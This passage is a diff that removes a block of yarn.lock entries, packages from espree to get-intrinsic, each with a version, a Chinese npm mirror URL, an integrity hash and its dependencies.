-    semver "^6.1.2"
-    strip-ansi "^5.2.0"
-    strip-json-comments "^3.0.1"
-    table "^5.2.3"
-    text-table "^0.2.0"
-    v8-compile-cache "^2.0.3"
-
-espree@^6.1.2:
-  version "6.2.1"
-  resolved "https://registry.npm.taobao.org/espree/download/espree-6.2.1.tgz?cache=0&sync_timestamp=1607143966756&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fespree%2Fdownload%2Fespree-6.2.1.tgz#77fc72e1fd744a2052c20f38a5b575832e82734a"
-  integrity sha1-d/xy4f10SiBSwg84pbV1gy6Cc0o=
-  dependencies:
-    acorn "^7.1.1"
-    acorn-jsx "^5.2.0"
-    eslint-visitor-keys "^1.1.0"
-
-esprima@^4.0.0, esprima@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/esprima/download/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-  integrity sha1-E7BM2z5sXRnfkatph6hpVhmwqnE=
-
-esquery@^1.0.1:
-  version "1.4.0"
-  resolved "https://registry.nlark.com/esquery/download/esquery-1.4.0.tgz#2148ffc38b82e8c7057dfed48425b3e61f0f24a5"
-  integrity sha1-IUj/w4uC6McFff7UhCWz5h8PJKU=
-  dependencies:
-    estraverse "^5.1.0"
-
-esrecurse@^4.1.0, esrecurse@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.nlark.com/esrecurse/download/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
-  integrity sha1-eteWTWeauyi+5yzsY3WLHF0smSE=
-  dependencies:
-    estraverse "^5.2.0"
-
-estraverse@^4.1.1, estraverse@^4.2.0:
-  version "4.3.0"
-  resolved "https://registry.npm.taobao.org/estraverse/download/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
-  integrity sha1-OYrT88WiSUi+dyXoPRGn3ijNvR0=
-
-estraverse@^5.1.0, estraverse@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz#307df42547e6cc7324d3cf03c155d5cdb8c53880"
-  integrity sha1-MH30JUfmzHMk088DwVXVzbjFOIA=
-
-esutils@^2.0.2:
-  version "2.0.3"
-  resolved "https://registry.nlark.com/esutils/download/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
-  integrity sha1-dNLrTeC42hKTcRkQ1Qd1ubcQ72Q=
-
-etag@~1.8.1:
-  version "1.8.1"
-  resolved "https://registry.npm.taobao.org/etag/download/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-  integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-eventemitter3@^4.0.0:
-  version "4.0.7"
-  resolved "https://registry.npm.taobao.org/eventemitter3/download/eventemitter3-4.0.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feventemitter3%2Fdownload%2Feventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f"
-  integrity sha1-Lem2j2Uo1WRO9cWVJqG0oHMGFp8=
-
-events@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.nlark.com/events/download/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
-  integrity sha1-Mala0Kkk4tLEGagTrrLE6HjqdAA=
-
-eventsource@^1.0.7:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/eventsource/download/eventsource-1.1.0.tgz?cache=0&sync_timestamp=1616041716084&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feventsource%2Fdownload%2Feventsource-1.1.0.tgz#00e8ca7c92109e94b0ddf32dac677d841028cfaf"
-  integrity sha1-AOjKfJIQnpSw3fMtrGd9hBAoz68=
-  dependencies:
-    original "^1.0.0"
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/evp_bytestokey/download/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
-  integrity sha1-f8vbGY3HGVlDLv4ThCaE4FJaywI=
-  dependencies:
-    md5.js "^1.3.4"
-    safe-buffer "^5.1.1"
-
-exec-sh@^0.3.2:
-  version "0.3.6"
-  resolved "https://registry.npm.taobao.org/exec-sh/download/exec-sh-0.3.6.tgz?cache=0&sync_timestamp=1616788824594&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexec-sh%2Fdownload%2Fexec-sh-0.3.6.tgz#ff264f9e325519a60cb5e273692943483cca63bc"
-  integrity sha1-/yZPnjJVGaYMteJzaSlDSDzKY7w=
-
-execa@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/execa/download/execa-1.0.0.tgz?cache=0&sync_timestamp=1622825396605&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fexeca%2Fdownload%2Fexeca-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
-  integrity sha1-xiNqW7TfbW8V6I5/AXeYIWdJ3dg=
-  dependencies:
-    cross-spawn "^6.0.0"
-    get-stream "^4.0.0"
-    is-stream "^1.1.0"
-    npm-run-path "^2.0.0"
-    p-finally "^1.0.0"
-    signal-exit "^3.0.0"
-    strip-eof "^1.0.0"
-
-exit@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.nlark.com/exit/download/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
-  integrity sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=
-
-expand-brackets@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.npm.taobao.org/expand-brackets/download/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-  dependencies:
-    debug "^2.3.3"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    posix-character-classes "^0.1.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-expect@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/expect/download/expect-24.9.0.tgz?cache=0&sync_timestamp=1622290387675&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fexpect%2Fdownload%2Fexpect-24.9.0.tgz#b75165b4817074fa4a157794f46fe9f1ba15b6ca"
-  integrity sha1-t1FltIFwdPpKFXeU9G/p8boVtso=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    ansi-styles "^3.2.0"
-    jest-get-type "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-regex-util "^24.9.0"
-
-express@^4.17.1:
-  version "4.17.1"
-  resolved "https://registry.nlark.com/express/download/express-4.17.1.tgz?cache=0&sync_timestamp=1618847120573&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fexpress%2Fdownload%2Fexpress-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha1-RJH8OGBc9R+GKdOcK10Cb5ikwTQ=
-  dependencies:
-    accepts "~1.3.7"
-    array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
-    content-type "~1.0.4"
-    cookie "0.4.0"
-    cookie-signature "1.0.6"
-    debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    finalhandler "~1.1.2"
-    fresh "0.5.2"
-    merge-descriptors "1.0.1"
-    methods "~1.1.2"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
-    range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
-    type-is "~1.6.18"
-    utils-merge "1.0.1"
-    vary "~1.1.2"
-
-ext@^1.1.2:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/ext/download/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244"
-  integrity sha1-ia56BxWPedNVF4gpBDJAd+Q3kkQ=
-  dependencies:
-    type "^2.0.0"
-
-extend-shallow@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/extend-shallow/download/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-  dependencies:
-    is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.nlark.com/extend-shallow/download/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-  dependencies:
-    assign-symbols "^1.0.0"
-    is-extendable "^1.0.1"
-
-extend@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.nlark.com/extend/download/extend-3.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fextend%2Fdownload%2Fextend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-  integrity sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=
-
-external-editor@^3.0.3:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/external-editor/download/external-editor-3.1.0.tgz#cb03f740befae03ea4d283caed2741a83f335495"
-  integrity sha1-ywP3QL764D6k0oPK7SdBqD8zVJU=
-  dependencies:
-    chardet "^0.7.0"
-    iconv-lite "^0.4.24"
-    tmp "^0.0.33"
-
-extglob@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.nlark.com/extglob/download/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
-  integrity sha1-rQD+TcYSqSMuhxhxHcXLWrAoVUM=
-  dependencies:
-    array-unique "^0.3.2"
-    define-property "^1.0.0"
-    expand-brackets "^2.1.4"
-    extend-shallow "^2.0.1"
-    fragment-cache "^0.2.1"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-extsprintf@1.3.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/extsprintf/download/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
-extsprintf@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/extsprintf/download/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-  integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
-
-fast-deep-equal@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-  integrity sha1-On1WtVnWy8PrUSMlJE5hmmXGxSU=
-
-fast-glob@^2.0.2:
-  version "2.2.7"
-  resolved "https://registry.npm.taobao.org/fast-glob/download/fast-glob-2.2.7.tgz#6953857c3afa475fff92ee6015d52da70a4cd39d"
-  integrity sha1-aVOFfDr6R1//ku5gFdUtpwpM050=
-  dependencies:
-    "@mrmlnc/readdir-enhanced" "^2.2.1"
-    "@nodelib/fs.stat" "^1.1.2"
-    glob-parent "^3.1.0"
-    is-glob "^4.0.0"
-    merge2 "^1.2.3"
-    micromatch "^3.1.10"
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/fast-json-stable-stringify/download/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha1-h0v2nG9ATCtdmcSBNBOZ/VWJJjM=
-
-fast-levenshtein@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.nlark.com/fast-levenshtein/download/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
-
-faye-websocket@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.nlark.com/faye-websocket/download/faye-websocket-0.10.0.tgz#4e492f8d04dfb6f89003507f6edbf2d501e7c6f4"
-  integrity sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=
-  dependencies:
-    websocket-driver ">=0.5.1"
-
-faye-websocket@~0.11.1:
-  version "0.11.4"
-  resolved "https://registry.nlark.com/faye-websocket/download/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da"
-  integrity sha1-fw2Sdc/dhqHJY9yLZfzEUe3Lsdo=
-  dependencies:
-    websocket-driver ">=0.5.1"
-
-fb-watchman@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/fb-watchman/download/fb-watchman-2.0.1.tgz#fc84fb39d2709cf3ff6d743706157bb5708a8a85"
-  integrity sha1-/IT7OdJwnPP/bXQ3BhV7tXCKioU=
-  dependencies:
-    bser "2.1.1"
-
-figgy-pudding@^3.5.1:
-  version "3.5.2"
-  resolved "https://registry.npm.taobao.org/figgy-pudding/download/figgy-pudding-3.5.2.tgz#b4eee8148abb01dcf1d1ac34367d59e12fa61d6e"
-  integrity sha1-tO7oFIq7Adzx0aw0Nn1Z4S+mHW4=
-
-figures@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.nlark.com/figures/download/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
-  integrity sha1-YlwYvSk8YE3EqN2y/r8MiDQXRq8=
-  dependencies:
-    escape-string-regexp "^1.0.5"
-
-file-entry-cache@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/file-entry-cache/download/file-entry-cache-5.0.1.tgz?cache=0&sync_timestamp=1613794357372&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffile-entry-cache%2Fdownload%2Ffile-entry-cache-5.0.1.tgz#ca0f6efa6dd3d561333fb14515065c2fafdf439c"
-  integrity sha1-yg9u+m3T1WEzP7FFFQZcL6/fQ5w=
-  dependencies:
-    flat-cache "^2.0.1"
-
-file-loader@4.3.0:
-  version "4.3.0"
-  resolved "https://registry.nlark.com/file-loader/download/file-loader-4.3.0.tgz#780f040f729b3d18019f20605f723e844b8a58af"
-  integrity sha1-eA8ED3KbPRgBnyBgX3I+hEuKWK8=
-  dependencies:
-    loader-utils "^1.2.3"
-    schema-utils "^2.5.0"
-
-file-uri-to-path@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/file-uri-to-path/download/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd"
-  integrity sha1-VTp7hEb/b2hDWcRF8eN6BdrMM90=
-
-filesize@6.0.1:
-  version "6.0.1"
-  resolved "https://registry.nlark.com/filesize/download/filesize-6.0.1.tgz#f850b509909c7c86f7e450ea19006c31c2ed3d2f"
-  integrity sha1-+FC1CZCcfIb35FDqGQBsMcLtPS8=
-
-fill-range@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/fill-range/download/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-    to-regex-range "^2.1.0"
-
-fill-range@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/fill-range/download/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-  integrity sha1-GRmmp8df44ssfHflGYU12prN2kA=
-  dependencies:
-    to-regex-range "^5.0.1"
-
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/finalhandler/download/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha1-t+fQAP/RGTjQ/bBTUG9uur6fWH0=
-  dependencies:
-    debug "2.6.9"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    statuses "~1.5.0"
-    unpipe "~1.0.0"
-
-find-cache-dir@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-0.1.1.tgz#c8defae57c8a52a8a784f9e31c57c742e993a0b9"
-  integrity sha1-yN765XyKUqinhPnjHFfHQumToLk=
-  dependencies:
-    commondir "^1.0.1"
-    mkdirp "^0.5.1"
-    pkg-dir "^1.0.0"
-
-find-cache-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7"
-  integrity sha1-jQ+UzRP+Q8bHwmGg2GEVypGMBfc=
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^2.0.0"
-    pkg-dir "^3.0.0"
-
-find-cache-dir@^3.2.0:
-  version "3.3.1"
-  resolved "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880"
-  integrity sha1-ibM/rUpGcNqpT4Vff74x1thP6IA=
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^3.0.2"
-    pkg-dir "^4.1.0"
-
-find-up@4.1.0, find-up@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/find-up/download/find-up-4.1.0.tgz?cache=0&sync_timestamp=1618846778775&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffind-up%2Fdownload%2Ffind-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
-  integrity sha1-l6/n1s3AvFkoWEt8jXsW6KmqXRk=
-  dependencies:
-    locate-path "^5.0.0"
-    path-exists "^4.0.0"
-
-find-up@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/find-up/download/find-up-1.1.2.tgz?cache=0&sync_timestamp=1618846778775&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffind-up%2Fdownload%2Ffind-up-1.1.2.tgz#6b2e9822b1a2ce0a60ab64d610eccad53cb24d0f"
-  integrity sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=
-  dependencies:
-    path-exists "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-find-up@^2.0.0, find-up@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/find-up/download/find-up-2.1.0.tgz?cache=0&sync_timestamp=1618846778775&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffind-up%2Fdownload%2Ffind-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7"
-  integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c=
-  dependencies:
-    locate-path "^2.0.0"
-
-find-up@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/find-up/download/find-up-3.0.0.tgz?cache=0&sync_timestamp=1618846778775&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffind-up%2Fdownload%2Ffind-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
-  integrity sha1-SRafHXmTQwZG2mHsxa41XCHJe3M=
-  dependencies:
-    locate-path "^3.0.0"
-
-flat-cache@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/flat-cache/download/flat-cache-2.0.1.tgz#5d296d6f04bda44a4630a301413bdbc2ec085ec0"
-  integrity sha1-XSltbwS9pEpGMKMBQTvbwuwIXsA=
-  dependencies:
-    flatted "^2.0.0"
-    rimraf "2.6.3"
-    write "1.0.3"
-
-flatted@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/flatted/download/flatted-2.0.2.tgz#4575b21e2bcee7434aa9be662f4b7b5f9c2b5138"
-  integrity sha1-RXWyHivO50NKqb5mL0t7X5wrUTg=
-
-flatten@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/flatten/download/flatten-1.0.3.tgz#c1283ac9f27b368abc1e36d1ff7b04501a30356b"
-  integrity sha1-wSg6yfJ7Noq8HjbR/3sEUBowNWs=
-
-flush-write-stream@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/flush-write-stream/download/flush-write-stream-1.1.1.tgz#8dd7d873a1babc207d94ead0c2e0e44276ebf2e8"
-  integrity sha1-jdfYc6G6vCB9lOrQwuDkQnbr8ug=
-  dependencies:
-    inherits "^2.0.3"
-    readable-stream "^2.3.6"
-
-follow-redirects@^1.0.0:
-  version "1.14.1"
-  resolved "https://registry.nlark.com/follow-redirects/download/follow-redirects-1.14.1.tgz?cache=0&sync_timestamp=1620555300559&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffollow-redirects%2Fdownload%2Ffollow-redirects-1.14.1.tgz#d9114ded0a1cfdd334e164e6662ad02bfd91ff43"
-  integrity sha1-2RFN7Qoc/dM04WTmZirQK/2R/0M=
-
-for-each@^0.3.3:
-  version "0.3.3"
-  resolved "https://registry.nlark.com/for-each/download/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
-  integrity sha1-abRH6IoKXTLD5whPPxcQA0shN24=
-  dependencies:
-    is-callable "^1.1.3"
-
-for-in@^0.1.3:
-  version "0.1.8"
-  resolved "https://registry.npm.taobao.org/for-in/download/for-in-0.1.8.tgz#d8773908e31256109952b1fdb9b3fa867d2775e1"
-  integrity sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=
-
-for-in@^1.0.1, for-in@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/for-in/download/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
-for-own@^0.1.3:
-  version "0.1.5"
-  resolved "https://registry.nlark.com/for-own/download/for-own-0.1.5.tgz#5265c681a4f294dabbf17c9509b6763aa84510ce"
-  integrity sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=
-  dependencies:
-    for-in "^1.0.1"
-
-forever-agent@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.npm.taobao.org/forever-agent/download/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-  integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
-
-fork-ts-checker-webpack-plugin@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.nlark.com/fork-ts-checker-webpack-plugin/download/fork-ts-checker-webpack-plugin-3.1.1.tgz#a1642c0d3e65f50c2cc1742e9c0a80f441f86b19"
-  integrity sha1-oWQsDT5l9QwswXQunAqA9EH4axk=
-  dependencies:
-    babel-code-frame "^6.22.0"
-    chalk "^2.4.1"
-    chokidar "^3.3.0"
-    micromatch "^3.1.10"
-    minimatch "^3.0.4"
-    semver "^5.6.0"
-    tapable "^1.0.0"
-    worker-rpc "^0.1.0"
-
-form-data@~2.3.2:
-  version "2.3.3"
-  resolved "https://registry.npm.taobao.org/form-data/download/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-  integrity sha1-3M5SwF9kTymManq5Nr1yTO/786Y=
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.6"
-    mime-types "^2.1.12"
-
-forwarded@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.nlark.com/forwarded/download/forwarded-0.2.0.tgz?cache=0&sync_timestamp=1622503408398&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fforwarded%2Fdownload%2Fforwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
-  integrity sha1-ImmTZCiq1MFcfr6XeahL8LKoGBE=
-
-fragment-cache@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.nlark.com/fragment-cache/download/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-  dependencies:
-    map-cache "^0.2.2"
-
-fresh@0.5.2:
-  version "0.5.2"
-  resolved "https://registry.npm.taobao.org/fresh/download/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-  integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-from2@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/from2/download/from2-2.3.0.tgz#8bfb5502bde4a4d36cfdeea007fcca21d7e382af"
-  integrity sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=
-  dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-
-fs-extra@^4.0.2:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-4.0.3.tgz#0d852122e5bc5beb453fb028e9c0c9bf36340c94"
-  integrity sha1-DYUhIuW8W+tFP7Ao6cDJvzY0DJQ=
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9"
-  integrity sha1-TxicRKoSO4lfcigE9V6iPq3DSOk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^8.1.0:
-  version "8.1.0"
-  resolved "https://registry.nlark.com/fs-extra/download/fs-extra-8.1.0.tgz#49d43c45a88cd9677668cb7be1b46efdb8d2e1c0"
-  integrity sha1-SdQ8RaiM2Wd2aMt74bRu/bjS4cA=
-  dependencies:
-    graceful-fs "^4.2.0"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-minipass@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/fs-minipass/download/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
-  integrity sha1-f1A2/b8SxjwWkZDL5BmchSJx+fs=
-  dependencies:
-    minipass "^3.0.0"
-
-fs-write-stream-atomic@^1.0.8:
-  version "1.0.10"
-  resolved "https://registry.npm.taobao.org/fs-write-stream-atomic/download/fs-write-stream-atomic-1.0.10.tgz#b47df53493ef911df75731e70a9ded0189db40c9"
-  integrity sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    iferr "^0.1.5"
-    imurmurhash "^0.1.4"
-    readable-stream "1 || 2"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/fs.realpath/download/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fsevents@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/fsevents/download/fsevents-2.1.2.tgz#4c0a1fb34bc68e543b4b82a9ec392bfbda840805"
-  integrity sha1-TAofs0vGjlQ7S4Kp7Dkr+9qECAU=
-
-fsevents@^1.2.7:
-  version "1.2.13"
-  resolved "https://registry.npm.taobao.org/fsevents/download/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38"
-  integrity sha1-8yXLBFVZJCi88Rs4M3DvcOO/zDg=
-  dependencies:
-    bindings "^1.5.0"
-    nan "^2.12.1"
-
-fsevents@~2.3.1:
-  version "2.3.2"
-  resolved "https://registry.npm.taobao.org/fsevents/download/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
-  integrity sha1-ilJveLj99GI7cJ4Ll1xSwkwC/Ro=
-
-function-bind@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0=
-
-functional-red-black-tree@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/functional-red-black-tree/download/functional-red-black-tree-1.0.1.tgz?cache=0&sync_timestamp=1618847182644&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffunctional-red-black-tree%2Fdownload%2Ffunctional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
-  integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
-
-gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2:
-  version "1.0.0-beta.2"
-  resolved "https://registry.npm.taobao.org/gensync/download/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
-  integrity sha1-MqbudsPX9S1GsrGuXZP+qFgKJeA=
-
-get-caller-file@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/get-caller-file/download/get-caller-file-1.0.3.tgz#f978fa4c90d1dfe7ff2d6beda2a515e713bdcf4a"
-  integrity sha1-+Xj6TJDR3+f/LWvtoqUV5xO9z0o=
-
-get-caller-file@^2.0.1:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/get-caller-file/download/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
-  integrity sha1-T5RBKoLbMvNuOwuXQfipf+sDH34=
-
-get-intrinsic@^1.0.2, get-intrinsic@^1.1.0, get-intrinsic@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/get-intrinsic/download/get-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6"
